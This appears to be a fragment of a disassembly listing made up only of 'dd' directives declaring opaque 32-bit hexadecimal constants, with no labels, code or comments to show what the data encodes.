		dd 0A183DBBEh, 5D6C07B8h, 18F68E1h, 0F1CF181Bh,	0F076E5CAh
		dd 11D9756h, 0D840E0D7h, 63FD09F7h, 16BC009Bh, 0C968A15Ch
		dd 80E95935h, 55B73710h, 7B5DDC82h, 0B5D433FAh,	21032808h
		dd 1D557F9Ah, 4398882Fh, 1970DF62h, 0D0B62057h,	5E603EB8h
		dd 236F7C11h, 9AD006CFh, 9D71A14h, 9C215360h, 0F8992367h
		dd 0E2E91805h, 29B8185Dh, 3FEAEF7Ah, 5860B2EBh,	236C30B9h
		dd 42D0CC11h, 97834A88h, 0D8C32364h, 60616728h,	0B2551951h
		dd 0C8142E3Ah, 40840F07h, 48CC680h, 0DC8555B0h,	205062B5h
		dd 6555B897h, 0D82D630Eh, 37057CCEh, 0EB86121Dh, 0B53B00C1h
		dd 39C496ACh, 29074A93h, 0A023736Ah, 0BB3E5FE1h, 96FA18E3h
		dd 0D86F995Ah, 0D8117628h, 5CBCB707h, 70A3C5F2h, 1C9DE03Eh
		dd 0F247121h, 0A6512C1Fh, 8169A780h, 0DA00C95Eh, 6FD6A4EBh
		dd 2E08482Dh, 389C84C0h, 3E479183h, 79885A5Dh, 9A00C1D0h
		dd 7EB6AC27h, 1D997Fh, 0D83CFDB3h, 9445ED1Eh, 3F086C00h
		dd 0C927D9C5h, 10F40083h, 3EA9FC2Bh, 6300BF58h,	0BB41A153h
		dd 0EF3C16h, 0F5D6477Eh, 75FAE0B9h, 90B55403h, 90F1971Eh
		dd 3AA982Dh, 0E5E95173h, 54B0DED3h, 37000211h, 3F9610ADh
		dd 7BD59481h, 2EE30024h, 8C735A2h, 60033AAh, 2579BE3Ah
		dd 1F376E13h, 0FA5748F2h, 281D7F3Ch, 4B8039D3h,	0CD457ADFh
		dd 422E0720h, 0F1243F68h, 18C0E420h, 4905C346h,	3C417CE4h
		dd 1B2E7316h, 0ED063C35h, 284C3FE3h, 0EA3066F2h, 7770615Fh
		dd 379400A5h, 4BEB2FFCh, 5E00E00Fh, 37621CDh, 1852F923h
		dd 302DEC68h, 406ED8C7h, 0E880F028h, 4FDCE3EAh,	55976803h
		dd 7F232F3h, 0C6876578h, 0DD1DDC3h, 7480FA1Ch, 0C33F97AEh
		dd 826C3D06h, 4298BE41h, 0DB111DABh, 0E9C04B9Bh, 21A16582h
		dd 10D0515Ch, 0A305F227h, 4EB888D7h, 5C6706CFh,	207CA487h
		dd 0A9033FFEh, 617F9547h, 1179A848h, 0A4810125h, 84FAA3E5h
		dd 5DB1803Fh, 0E1717819h, 1F827910h, 41223411h,	64099927h
		dd 84288C61h, 19316Ch, 1BEA04E9h, 1EFEC4C6h, 7955250Fh
		dd 16B900B5h, 0DF90FA8h, 844860BFh, 0BBC0FF79h,	140A3541h
		dd 0A0F7881Fh, 9D09E308h, 6D11CA46h, 3BD60098h,	51F62181h
		dd 6BF850Fh, 3E7E81C8h,	6DF4728Eh, 0C0C5180Ch, 0BBEB7918h
		dd 24E15B28h, 6F6020h, 8772B245h, 1EBA4E6Ah, 0E0F66173h
		dd 0D805E276h, 0F1EFC37Fh, 1892A840h, 673432Ch,	72CB4A0Ah
		dd 0F6620802h, 60303721h, 0EB78ECh, 0A8D8B2BFh,	0C6BA8F0Eh
		dd 7EF26E0Ah, 848A9059h, 0E7809477h, 9B5E6765h,	0F5180339h
		dd 0CFECA759h, 96AB7698h, 71609802h, 430246BBh,	2B493A30h
		dd 30F10540h, 11C07D36h, 2A86B55Fh, 192BE8E4h, 8AEFCFEh
		dd 0D0D05771h, 4B6686BDh, 45F5360Ah, 6244DC6Ch,	7080714Fh
		dd 8373DCB8h, 2CCDD201h, 969A2F67h, 24EAE4DCh, 6340B8Bh
		dd 797E73F2h, 0ECB41C09h, 0D2C2002h, 1897BE45h,	597D8720h
		dd 311F7730h, 0C41832Ah, 0A7F04CD9h, 187148D0h,	0BED2BA3Dh
		dd 1C06E417h, 415E6634h, 2B6D28C8h, 1B946C4h, 73452C16h
		dd 0EC0C4EFAh, 3A2E3D88h, 0A680362Dh, 2B0BF277h, 0DC07254Ah
		dd 2A7444B6h, 0E46366AFh
		dd 0ECC00C8h, 0FC2E54B3h, 4EF521EAh, 0C0EB88FCh, 0E7A44269h
		dd 2F481000h, 66795083h, 0FFE01246h, 0DBE40054h, 8B23B9F2h
		dd 8EE4613Dh, 40884420h, 0F5115183h, 0C4A9547Eh, 0F0DF2666h
		dd 54D3A858h, 3E1B442h,	0FD4AB3D4h, 0D0E8CF27h,	0C900437h
		dd 533FEE03h, 3A13EA69h, 2D0C9139h, 27C9C906h, 0B0AA2800h
		dd 6A232E4Ch, 83E6944h,	20098C10h, 1D51AA00h, 4EC3383Fh
		dd 847C044Bh, 898722C7h, 0B19FECECh, 0AE61603h,	26E7439Eh
		dd 616C7B09h, 30664DB1h, 0BF0484F7h, 64B3B849h,	6E04FC80h
		dd 1589399h, 0E42986B4h, 887318BDh, 8602BC3Dh, 0E7DB7A91h
		dd 46D880BFh, 3A8E43CBh, 49605323h, 4933A0A1h, 0A8875128h
		dd 6A4EF0Ah, 6B108879h,	2FC030C8h, 464CBBAAh, 5A2226h
		dd 0D5AA2708h, 0E55190DDh, 43A4BB16h, 0CEEB3C42h, 0B7BC8034h
		dd 48C76F4Eh, 19142063h, 230E3029h, 95BF9F55h, 4180A020h
		dd 9ADF14B1h, 0AC72448Ch, 38B19900h, 3CB381DCh,	94F000A7h
		dd 0BE065B0h, 0CD00446Eh, 0C40DFFD2h, 9A7EBB46h, 0C7EB4864h
		dd 700426h, 0D8ED1209h,	0F3147AFCh, 269CE6D7h, 0C7D0942Eh
		dd 0BBE20591h, 95E07ECh, 90B89070h, 0E5011EF6h,	0D893FB21h
		dd 80475163h, 68A48991h, 781FD850h, 0AA7FFEAFh,	0EC0410CCh
		dd 37D8A884h, 0F7420057h, 0C615BE6Dh, 0A1000F5Ch, 75388E96h
		dd 988B82h, 54AF2E0Dh, 455D1FE7h, 0E742209h, 0FC6580F6h
		dd 0EE82E5h, 0EB65AF7Fh, 0C1C430AAh, 4B455F00h,	0E818B58h
		dd 0DD0D00F0h, 0A33134EFh, 800069AAh, 0CE500C72h, 0E3AF22h
		dd 6510E77h, 81D945F7h,	798AD600h, 673102B8h, 0E3340023h
		dd 8F36D226h, 0AE00C1EAh, 0E2BBE8A1h, 116E9D5h,	472E59A6h
		dd 0C4FF021Dh, 0CA03AF40h, 0C3692482h, 7D269877h, 7CD90052h
		dd 0DFE18F02h, 9C001265h, 41785668h, 405E0B3h, 8DA07B82h
		dd 0C44FC27h, 0A577C14h, 0A8C2006Fh, 43AB115Eh,	461E5B37h
		dd 10806113h, 0E7C68857h, 92D41815h, 0DCDD54FDh, 7BF17000h
		dd 4B58BAB0h, 130E0FCBh, 0DEA0D85Ch, 8C892A57h,	0E29FF000h
		dd 0EE51597Bh, 0E978006Eh, 0E8C538B4h, 3901AB81h, 0A4066221h
		dd 2930B723h, 37221249h, 7FC010Ah, 0E0DA0578h, 0C0004B6Fh
		dd 0F10181D3h, 7A84F0h,	73FFE599h, 0D5A3D706h, 0A96A8D00h
		dd 0ED0DA79h, 0BD7F8090h, 9F004472h, 0BF898D5Fh, 1F0DA04h
		dd 4E6F49CDh, 0DC670FACh, 11002190h, 5D03E66Eh,	20254A4h
		dd 92F0A348h, 30480B61h, 3007FF1Eh, 0CF33BB3Fh,	281DD460h
		dd 79F900DFh, 0F259E1A2h, 62075C6Eh, 1881D05Bh,	367E1500h
		dd 0A1F302E6h, 0BC5D3FA6h, 0B259C05Dh, 60C37021h, 0EB1C38E0h
		dd 0A0C0B539h, 0D355F95h, 698003Ch, 47C8758Bh, 770C5669h
		dd 40080705h, 0E9FE3Ah,	3ECAC552h, 2913C18Ah, 56017AF8h
		dd 8BE03B94h, 0AFC0897h, 0C879DCh, 45117D2Ch, 3322A4D7h
		dd 0F3F75000h, 0E57E8327h, 9888A892h, 58B713BDh, 9F510087h
		dd 4A4A71Bh, 14446900h,	7F5C83BAh, 0F1CC0013h, 67E4628Ch
		dd 0A312F87Ah, 0D049E893h, 42A820D0h, 70A9CFh, 0A3D3B328h
		dd 0DDFEF95Ch, 0FC9C180Ch, 72C8B2h, 996A5560h, 0E2CE76DAh
		dd 6F5F781Eh, 0E3B980BBh, 87C672CFh, 7BD000E0h,	46D8E724h
		dd 77A5D44h, 608F0101h,	72DB785Ch, 40EF509Dh, 841586B7h
		dd 0E000F07Bh, 4B36217Eh, 90D60731h, 4483B56h, 4132CD80h
		dd 39FB6D26h, 2A209A4Dh, 7E009CF6h, 4F673EEFh, 1FD7A047h
		dd 1D109675h, 4D400141h, 46BE0938h, 0C80076D8h,	2E6043B0h
		dd 763441F5h, 8CD30067h, 1BF74620h, 5000A499h, 57C0EE97h
		dd 76617CFBh, 492478FEh, 0EB1D4C04h, 1E58096h, 0FBA30394h
		dd 0F1321D00h, 51158C5Ch, 74734C50h, 0A947D780h, 12098F63h
		dd 2E49CBh, 0ABF4B860h,	2D37003Dh, 91996445h, 3360ADE8h
		dd 0FA584621h, 0C2C64C1Ah, 4059301Eh, 184EF332h, 0D60EAA2Dh
		dd 50219Bh, 0F4355D93h,	32FF03F8h, 0C43D23FBh, 0B4E79AC8h
		dd 1E455C01h, 6C696827h, 11C7020h, 0AB85CE9Dh, 0E8EC40C4h
		dd 9700798Ch, 72BACCFh,	0F3ADAE4h, 8A04F1BBh, 0A0228BE7h
		dd 60504EDEh, 0A844EE3Fh, 15F4D44Ch, 0AD433C00h, 4FF3A15Eh
		dd 0D5A70075h, 8B396737h, 0B83CA80Bh, 718200A0h, 0F3795DDAh
		dd 907250h, 8D34A327h, 67B1336Ch, 8AB5CE00h, 0B1156BDh
		dd 0C3DE0012h, 0C05ABE45h, 0A2188D69h, 4A6E2052h, 942C000Bh
		dd 11B827D2h, 4100C11Bh, 0B709DECBh, 7AFCE2B6h,	47850074h
		dd 8E4E238Fh, 0ABA0AAC3h, 0B7732BF1h, 9FAC8800h, 209D1D07h
		dd 0E0202DBh, 512CD8Eh,	28895761h, 0CEA005Ch, 6BAF926Ch
		dd 19D83961h, 0A60612h,	2FFC8EB8h, 3106D5CBh, 0A7937EE7h
		dd 0CD492418h, 880C0F1Ch, 8C80DF49h, 0B223830h,	0D04D8D14h
		dd 802B38B8h, 7F5AFD48h, 0E8A0A7h, 628EF743h, 6C26E5F6h
		dd 6874B800h, 0CA557C25h, 28301677h, 62440E87h,	8400C22Eh
		dd 49F10895h, 0CE6F800h, 0F50E263Dh, 1E909261h,	0C25F250Ah
		dd 0AE85434Ah, 515D1468h, 0B5C1FBE3h, 867DF0CBh, 2EEB3603h
		dd 99C57088h, 9820B695h, 1368005Ah, 0CCCA4578h,	0FB01BAFAh
		dd 4CC8B8DCh, 54222173h, 0DDD32575h, 97245400h,	0D1011DE9h
		dd 519264EBh, 789F86DAh, 0DE2A4026h, 0A87F01B9h, 28BCFA01h
		dd 5674EF80h, 6CD024h, 0D0F461E7h, 71CC5D5Eh, 0C1DE8E00h
		dd 835E4BBh, 0B76D00D3h, 0A1A1CBAh, 83B81E89h, 0B0427600h
		dd 203A1D23h, 0E5900051h, 0BEA35771h, 0C400495Fh, 174E475Eh
		dd 0E0BF5211h, 211F1445h, 0EC01A03Fh, 4F370182h, 2B28EC62h
		dd 0F30DC200h, 0B7C1F2A0h, 383F12D3h, 1E8AE8DFh, 6FC0FA9Ch
		dd 147D0F41h, 0F1890029h, 695777EEh, 6D0720F5h,	0E70343AFh
		dd 37F9C2D0h, 0C70D3F08h, 1E05E580h, 0D297EB94h, 0D68ECC0Fh
		dd 58A0ACF4h, 0A7742866h, 0F5950092h, 287DF3ADh, 700035D1h
		dd 0B1E8E347h, 0CDEE57Fh, 0CF83BE40h, 69071EFAh, 0C77BD930h
		dd 65C8A089h, 921EAh, 0FCC5835Ah, 8B232712h, 8436403h
		dd 428AFACh, 2A16C010h,	0BB0BC0AAh, 0B100A37Eh,	0FFAFC579h
		dd 0DE5864h, 0B4FA8FF6h, 76116955h, 38102C00h, 86DB1DE1h
		dd 0F5200758h, 0B0DAEDF7h, 0E7844F9Ah, 0ECDFC300h, 1D857D87h
		dd 0ED71003Dh, 0E99226DBh, 800E03Ch, 358821C0h,	509EC8h
		dd 0F08BA3EFh, 72443404h, 0F4CC7307h, 8EA0CECFh, 7DA2679Bh
		dd 83390451h, 0A40F2E0Ah, 34001CA8h, 59C2E7F5h,	3D4AD27Dh
		dd 93872710h, 0F04B0F29h, 0F47FD3EDh, 0C77A8500h, 2F227EBFh
		dd 0B150084h, 0EECE3160h, 810258B9h, 0E46F7997h, 73FC4026h
		dd 944A3A3Ah, 87EE9F05h, 712CD3F7h, 0C6E86DB3h,	4C3AB223h
		dd 6BC3AFEh, 0CA28FF50h, 428AA099h, 9E5A07E9h, 403AE61Bh
		dd 986FBC2Ch, 604D0304h, 7E80FC28h, 326689Dh, 0DF14BB4Fh
		dd 6E2348Eh, 9E4C2480h,	9DF0E723h, 198F6C96h, 63BD8FB8h
		dd 1378CF9Bh, 95BE44A8h, 2BF00008h, 4708E42Dh, 0EA0CBD50h
		dd 307CA0CCh, 52553A43h, 82719F04h, 6681806Dh, 65012514h
		dd 28F7BDC0h, 21FCA396h, 0CDD60053h, 0C6684FC1h, 0E0079BEh
		dd 94334AE4h, 17837FDh,	0FE806C47h, 0EC667F88h,	0C077169Eh
		dd 6B366D1Eh, 0A2294D80h, 39D56A7h, 7E74BDF3h, 90EFE1F2h
		dd 0A591B7A3h, 81D2A600h, 50F5FAFEh, 0F6FF46Ch,	3BB4CE96h
		dd 0E2BAC0DCh, 8E513279h, 93125200h, 948259C3h,	0B790B8h
		dd 5B4CD358h, 0B27587A3h
		dd 99728900h, 5C18F20Dh, 2E4EF41Bh, 1AA941h, 5DE5F768h
		dd 0A8001672h, 0F48EA10Dh, 0BC8ACBh, 61560BF2h,	4E7A7B54h
		dd 0B500E679h, 8060B13Ch, 0A6BF0Ch, 736F7066h, 0B7FC2E75h
		dd 0F45659h, 404F4BDFh,	9E59CD45h, 6A178984h, 0F14CDCC8h
		dd 0A7188450h, 4844DC00h, 0C28A3F96h, 0AE785Eh,	13792BA0h
		dd 1B74FE8Fh, 54EBF000h, 7E5637CAh, 0DFD2008Eh,	0BF0D80ACh
		dd 0E4050B97h, 0F18AC446h, 783C143Dh, 20EE1112h, 8CB59964h
		dd 0B667350Eh, 3CC8C04Ah, 0C0EEEFB0h, 0B7704221h, 0E1122B4Ch
		dd 7700D053h, 0F664E666h, 0E3CD00BCh, 0DC02D171h, 900643F2h
		dd 9E58808Bh, 0BF8800D8h, 49D1259Fh, 52007122h,	4F76A544h
		dd 27668F5Dh, 2657E7h, 110771C6h, 0D830E56Ch, 0B7AEE6D0h
		dd 9E480090h, 99BD5879h, 0A8A9405Ah, 62A5F015h,	9FFFF70Fh
		dd 0F9E70028h, 3009E2h,	25CEC553h, 0C2A74147h, 87801316h
		dd 15E2AC90h, 4DC91F60h, 0D2B1401Bh, 4133019Dh,	0FF5F0B1Dh
		dd 6A53F784h, 0ED738CA4h, 0F9D3A8FFh, 0CFC33C20h, 0EE172D8Fh
		dd 8AA22500h, 0FD30C5A0h, 0B4E56168h, 61580C44h, 5AD9E148h
		dd 1F516760h, 98FF764Bh, 56EB005Ah, 42BC9396h, 463AAF8Ah
		dd 16E586A4h, 0B4E9898Bh, 49EF18C0h, 0E3060E03h, 4284DB56h
		dd 0FF860021h, 0EAE98388h, 0B7009EB8h, 0C5D62EE6h, 1DB4EDDFh
		dd 2C84B0h, 245F61D7h, 4929BFFh, 3DB1BA0Fh, 875047E4h
		dd 8A5FF4B0h, 738D003Fh, 0AA61D30Ah, 4D0077E0h,	0A20C6821h
		dd 0F9057AAFh, 0B79F8680h, 490978B5h, 0C08D43Eh, 1801F6F1h
		dd 0EC880F61h, 4880D5DDh, 0D3122EC3h, 3F023919h, 8CE02820h
		dd 18967CBDh, 112C455Ah, 0C70050C8h, 0A859B6EEh, 0CC49A7B9h
		dd 0E2213C08h, 74C73801h, 84F899D6h, 7FF6080h, 83509818h
		dd 2CE410CEh, 2E3027h, 2CBFBC68h, 0E5E002ECh, 8A945A00h
		dd 0FB4C2280h, 2BDE2829h, 0A70D3064h, 19BD6640h, 826049F0h
		dd 0D9147C61h, 0C30200EBh, 0A835ADB7h, 5500BA4Ch, 8E22108Dh
		dd 0A7E250h, 94E0911Ch,	0C34CB905h, 0C13B0D01h,	0B65CD5C8h
		dd 3C0F3030h, 2800C9B2h, 82F56739h, 0C5399AEBh,	95CD8051h
		dd 26644B7Bh, 0A70C0037h, 0ADB1FAFDh, 99008D9Eh, 0C604139Bh
		dd 716A6321h, 87351FFBh, 0E46241BFh, 60020E92h,	0B9E07D9Ch
		dd 34134100h, 0F8674C35h, 663F0027h, 0BDAC3784h, 0B090E038h
		dd 0C03E5900h, 6C1492A5h, 0B5D300DBh, 0EA5469F8h, 45FE2EEDh
		dd 0D2A9AF00h, 331923DAh, 0A06001B8h, 0AB343FEBh, 0C439F9CCh
		dd 9600F1C2h, 58327205h, 7CB0B83h, 815DBC06h, 6BA2700Eh
		dd 0E4005523h, 4003F1FCh, 4E18C1h, 473B9515h, 918E1457h
		dd 27A2D100h, 0CAED7525h, 42D03AE7h, 0A05F5B18h, 0E4FCA777h
		dd 0B022AE01h, 288DCF75h, 9E6EB040h, 713F00C3h,	0DC2BCED6h
		dd 3200F1BDh, 93E3B383h, 98B624ECh, 0F69C1B8Ch,	5198A064h
		dd 6D0ED56Eh, 3F86126h,	0AEAFEE73h, 0AE330021h,	0E10F9734h
		dd 47289A3Eh, 0C100DCCDh, 0A4554E0h, 3C9BA4B1h,	0B9BCD29Ch
		dd 14BAE789h, 165D8380h, 0A400A1A0h, 3A724FF5h,	657C4DCh
		dd 44631BDAh, 8A003EA3h, 0C25C7F65h, 0E43692EAh, 3C67000Ch
		dd 7C2CC41Ch, 95F29178h, 0F783BB00h, 4BF9E5D4h,	383400CAh
		dd 0A0E44362h, 0A10936A9h, 8ABFD0h, 0E139C190h,	0E58330B6h
		dd 4B7607D8h, 346BA300h, 8E168556h, 0F61B5097h,	0F3F200C0h
		dd 860D070Ah, 0AC1F2C5Ch, 70857ACBh, 88004167h,	49815725h
		dd 0B2830013h, 6A58537Bh, 0D00D211h, 6F54CC19h,	48BAF9B0h
		dd 1E3C74C0h, 3BD60707h, 55F00A0h, 2401564Eh, 611FC113h
		dd 30F469BEh, 0CDAC0071h, 0FDC9CB0Ah, 41007D9Dh, 363B0E15h
		dd 0EE93967h, 0CD7A6CAAh, 0A00F4467h, 159C580Bh, 38078037h
		dd 0EF7FE9D0h, 0BDF500BEh, 890636C2h, 2648CFC8h, 68D61F5Ah
		dd 2C63CC0h, 7A37B16h, 5B41D1E8h, 0EBFDA0BBh, 8500A4C9h
		dd 7EE1C75h, 170B135h, 9C6DEACCh, 0F83878E8h, 450BD23Eh
		dd 8C92F5A8h, 48439E96h, 44114072h, 6D9400DDh, 0C6B26557h
		dd 0A6C9C07Eh, 17C3AB9Ah, 0D1ED8700h, 269DBDEh,	0DCBB0081h
		dd 0A07DD7C8h, 0B7003AA3h, 167E3427h, 24282E0Bh, 7895F2h
		dd 4445C7DAh, 0B1087C0Eh, 0BBD5B675h, 0B91BA79Dh, 1B83800h
		dd 75E55636h, 0B470F200h, 9ED08317h, 421A057Ch,	800AD6AEh
		dd 9341E515h, 7FCD2224h, 4B00E820h, 3C5AF0D2h, 5226C1h
		dd 0A4E3BC0h, 13DD252Bh, 0E55F1D01h, 9CCAF190h,	486BA5C8h
		dd 2C001078h, 0D961E849h, 4503A0B7h, 73E16993h,	41A2A03Bh
		dd 7A24987Ch, 0C798F3h,	0BA04D928h, 83510360h, 0E6FF6503h
		dd 805E5882h, 4CE24Fh, 0ED219D05h, 918661C9h, 0F1B11533h
		dd 3339C036h, 849C0049h, 0A2A8473Dh, 6F001563h,	0A3B0E2B5h
		dd 717DB9FBh, 69200D9h,	0B43CF1FEh, 0A200799Ah,	0BE425209h
		dd 0F81C36h, 9C47F065h,	89450F12h, 904A3400h, 6DAE8E33h
		dd 0A0B40CDAh, 0F1684D56h, 8FA29B00h, 674F7D19h, 0BC8EBE8h
		dd 3B0303CAh, 0DC0614D2h, 649C5B98h, 2CF7BF01h,	92ACBA88h
		dd 9868FC34h, 99ED006Bh, 67475564h, 2800BF6Fh, 3EF5108Bh
		dd 1D1F0192h, 391BE1h, 0E359407Bh, 0EC00144Ah, 3DB49EB9h
		dd 0F8E471h, 0E8D8E15h,	3A6DF94Fh, 0D2DEF301h, 28B4FEB6h
		dd 7D483080h, 2F0DD408h, 59294100h, 5AFBAB52h, 0B2BB00Bh
		dd 0F7CB1F5Eh, 0DF085700h, 8679DBC6h, 8824D300h, 5F8C4E55h
		dd 2BED240Bh, 68A30340h, 0BA888169h, 0B06FE433h, 0A7D78068h
		dd 0ACDD91Eh, 0CC4AAA2Dh, 0BCBA00D4h, 451015D0h, 0D25B6D00h
		dd 0D65EB2Fh, 8CF412A6h, 9D2C0040h, 0BDD77D14h,	20A0B600h
		dd 1DF35063h, 71530060h, 503C48Ah, 1F98ACF7h, 0F9DEE912h
		dd 38B9F400h, 0CE73B0h,	14CD74FCh, 11A9E8Dh, 0B865DC1Fh
		dd 950950B0h, 70B500B3h, 0F967E8DAh, 3726013Bh,	6300921Bh
		dd 88641A9Ah, 367DF1h, 8B06594Dh, 0DA293203h, 5C990201h
		dd 39ACFCD1h, 1D7CE4h, 76C0C7C1h, 8F6A4067h, 8E52A500h
		dd 0EF6E4D49h, 9036005Fh, 58019198h, 0C3009615h, 0E9D03575h
		dd 0B8B032F4h, 1C090089h, 8A41F9E6h, 1603C22Bh,	3B3789DEh
		dd 1138D0B2h, 32BB0054h, 0E099D224h, 0F01A048h,	3CC569A1h
		dd 0AEC0AFB2h, 103B1ED1h, 0FB3DC08Ch, 0E9ADF42Ah, 476A731Fh
		dd 4186F983h, 3787E096h, 0CDD0008Eh, 7A2F3AD2h,	6006177h
		dd 4421AEE7h, 88F4A4h, 4CB5504Ah, 9512E9C9h, 4058BA00h
		dd 0A1DDE330h, 87B4003Fh, 6CABE7D7h, 9D03D046h,	423A0D15h
		dd 31FCD09Ch, 0D4C20113h, 0CC55EC10h, 8C1FE8AEh, 49C1E900h
		dd 6FFF0293h, 0A6B904CFh, 0C03261F8h, 2404DDD6h, 9BFD110Eh
		dd 0C6082037h, 7AA55Ah,	325DD8D6h, 1B34C3B1h, 18C77907h
		dd 0D1E25165h, 73C0C0FAh, 62C880D3h, 4D7BF900h,	7CC30F76h
		dd 17A9EC2Eh, 7C58832h,	0F03184C1h, 0F46845A5h,	0A05D6D00h
		dd 593715DCh, 0EBC53185h, 0ECE17FD8h, 8D00BF19h, 0D5C7EA0Ch
		dd 70F3B4AFh, 137E182Ch, 85271D1h, 0D653FC00h, 119F95CCh
		dd 2C18C00Bh, 2D9DDDC3h, 0D410E15h, 40162018h, 38C144A6h
		dd 9FB99E02h, 0B0314DD8h, 18B2002Eh, 0EA323BFDh, 4C0084E1h
		dd 5EBAA268h, 3D2AAEE3h, 0A080DD95h, 3210A443h,	0CF39904Dh
		dd 27890418h, 0FE86965Ah, 7B5413B0h, 283806FCh,	161E90B0h
		dd 0B6800669h, 18FABF97h, 0F6F400CCh, 96C83CACh, 9130DDEBh
		dd 80253853h, 3BF80021h
		dd 5AE49E23h, 853A2935h, 8F18807Eh, 2A2DAFF7h, 98F83Bh
		dd 0FCBBD2EAh, 5A92EC3h, 3C00FB9Ch, 24A8DD37h, 7F27426h
		dd 74C8ABC1h, 0BB12C01Eh, 70F1185Ch, 4D005AD8h,	0D6675125h
		dd 0CF4323h, 0D74ED2FEh, 3CFF183Eh, 82E8D13Ah, 161D7176h
		dd 28CC878Dh, 43D3BAC2h, 4E94630h, 0F62518EFh, 318D11h
		dd 0FAFFC78h, 189A1A4Ah, 19E1880Bh, 3B856D7h, 8D3BFB71h
		dd 291175E3h, 0E2111D6Eh, 8292117h, 4294761Ch, 146B2828h
		dd 0B0111D42h, 0C4863D43h, 0B12F44D8h, 44C17244h, 56889A7Ch
		dd 0A9B20016h, 41F8650Ah, 0D6004D03h, 0E196DD60h, 0FA753Eh
		dd 42BDC892h, 7AA6A49Dh, 0D8A37F38h, 0D78A0053h, 0FD9AE2Ah
		dd 0D1DF00FEh, 141FC078h, 170BDC71h, 6E95EAh, 0C2DD5D8Bh
		dd 89520018h, 8F7115A7h, 8C008EE2h, 0BFE1B768h,	83560Dh
		dd 0A3A8B6B8h, 0EEF0CCACh, 4B937900h, 3E16E713h, 6AE45CFDh
		dd 0E300B13Ch, 32043964h, 87F9E005h, 30BCC520h,	6E9A2380h
		dd 26840709h, 100F2D55h, 1E77FD6Fh, 42C65100h, 83D4F1BBh
		dd 45230FA3h, 8B63B7BEh, 11003C2Ch, 0CA5C903Bh,	0ACEFA98h
		dd 0D28E5F9Dh, 2C8305F4h, 2853860Fh, 27722206h,	3114C0Ch
		dd 0AAA26D49h, 0C7D002DDh, 1FC4793h, 0E03E2200h, 9EB60AE9h
		dd 0DA9B1C4Ah, 95FB408Dh, 0DCAD0830h, 0A2878501h, 71172506h
		dd 3E8FFC4h, 4190A4DFh,	27EA6C91h, 24773440h, 28C67800h
		dd 0D676E70Bh, 806F0029h, 0AB19B81Eh, 3F009843h, 932BCA46h
		dd 7CB7968h, 0F287FA0Bh, 5CD880F1h, 0F5002CC0h,	3E0F1F53h
		dd 3872B33Dh, 0EB807342h, 0CB68D802h, 0F300313Bh, 0B16ADFB2h
		dd 0A84A75Eh, 2BEACC85h, 5E400A4h, 76CF231Fh, 3075720h
		dd 251A1242h, 9C0603Ah,	4C0F8075h, 4006C08Fh, 0F8BED1Dh
		dd 80D3E5DFh, 0CF5863h,	875D1341h, 0C95336E4h, 0EEB32800h
		dd 6F7A0264h, 0FF263C83h, 32870300h, 0BACDF131h, 7DF01A00h
		dd 106ECAB2h, 50090048h, 7764E1A3h, 0EB0AF628h,	982390B5h
		dd 0EE8F4901h, 29C81DD0h, 28243EF8h, 0ACB8280h,	7B50B35Bh
		dd 7C709100h, 9684E49Ah, 298A031Fh, 2F39FAA4h, 0EF8FABh
		dd 697CA8B1h, 8CB96D00h, 68AC6426h, 93DB0054h, 0BA3DCCE9h
		dd 8F00E73Eh, 42FF6137h, 0D658AEh, 5A189EC8h, 0C109AF02h
		dd 16D08D00h, 125061E8h, 0BCB80149h, 6D7175E5h,	0AEC3F0C9h
		dd 382EDE02h, 0E07045B2h, 0D259F9h, 3B91E22Dh, 97AC63A9h
		dd 254E921Ch, 1803F392h, 0D8BFCB52h, 0EB3E2Eh, 0EF643C20h
		dd 75591532h, 0C56AE604h, 0A03B2Fh, 0F12D00DFh,	0F6EA49F0h
		dd 0E6000423h, 0D922068Ch, 3FA829h, 28B5E7B2h, 0D2AB98A9h
		dd 4008F21Eh, 4EA169C2h, 0FB1C43CCh, 24C19CBCh,	54C00317h
		dd 9B0700DFh, 0C426B03Ah, 3F1C3612h, 11E4A52Ch,	0BC00B116h
		dd 0CD3E5FC5h, 0D31800D7h, 0ACAFBDB4h, 0FC1666B8h, 2700FF67h
		dd 9E0B3148h, 0B5FA00A9h, 0B1511FD4h, 8900B913h, 610170B3h
		dd 263F90h, 2CBC1A4Fh, 4251E0A7h, 5F0354F0h, 693EA465h
		dd 848A807Bh, 86460250h, 0AB834317h, 0F8D5E440h, 0B8E8031Fh
		dd 0E0A3604Fh, 67BD9FAEh, 999835h, 49E35C32h, 0B72CD30Fh
		dd 0FEDE0613h, 52EA4000h, 3E8F4F10h, 578002AEh,	2A383A5Ch
		dd 5D00089Ch, 0EF4A123Ch, 0F0D2F18h, 0E40724DDh, 0EBE5DA40h
		dd 0D1EE6FCEh, 824534Dh, 3B07ACBh, 430D95A8h, 0B9E3FEF8h
		dd 0F5B9905h, 42C0EC6Bh, 3AC3F802h, 284C57BFh, 0FD124102h
		dd 0BC43F10Ah, 0DCA040F5h, 7118D834h, 56194F02h, 613EB624h
		dd 28D58A20h, 125E3F00h, 4A424D00h, 0FEEEBA07h,	3E6FE0B5h
		dd 0CADCF798h, 0F983B93Eh, 0ADE6F8E2h, 8058383Ch, 0A7935019h
		dd 786F45h, 0BE5F0FB7h,	2902263h, 80018ECh, 8631F8EAh
		dd 308C492Ch, 93FEA7D5h, 734C57FBh, 505B001Ch, 0C1261AE8h
		dd 8EEB0003h, 95DC9E3Ah, 0F6004C60h, 0E81C4A88h, 0AF470Eh
		dd 8236ED86h, 4C67ACBCh, 22BA3A0Eh, 61009FB7h, 50E866B2h
		dd 3F4A0007h, 9412E981h, 37E20E6Bh, 0F6A92006h,	78386E09h
		dd 1D40733h, 263F5479h,	49782895h, 0C9E7E1Fh, 437B1141h
		dd 94EC16F8h, 416D07CEh, 5C642EFCh, 0D9001221h,	0F17A79D4h
		dd 0E25067h, 0BA78236Eh, 57B4AB89h, 6DDF2A1Ch, 35D55EC0h
		dd 12723F2Fh, 78E9BFEh,	40954826h, 0AD86850Dh, 1300D798h
		dd 0BFB4427Fh, 175340h,	5A061DDAh, 0C0913EFBh, 0AB9A3Ah
		dd 36F1BF4Dh, 0EF78F7h,	0FBC26042h, 0B93E6331h,	5007B7Dh
		dd 0E6279D95h, 74E416h,	48619FA4h, 0EAFA5FDAh, 3EFC8607h
		dd 2E00F13Bh, 2A33D9h, 0AD7F31F3h, 4B0D6E7h, 31F7AEAh
		dd 4645D4FDh, 62803B15h, 4EBCBBh, 53738FFAh, 267EE24Bh
		dd 0E1469100h, 441578B7h, 0AC820064h, 7A47189Fh, 8F0F207Eh
		dd 803B5FB9h, 0E65AC6A5h, 0B8FAF1h, 0F02BADAFh,	4E13597h
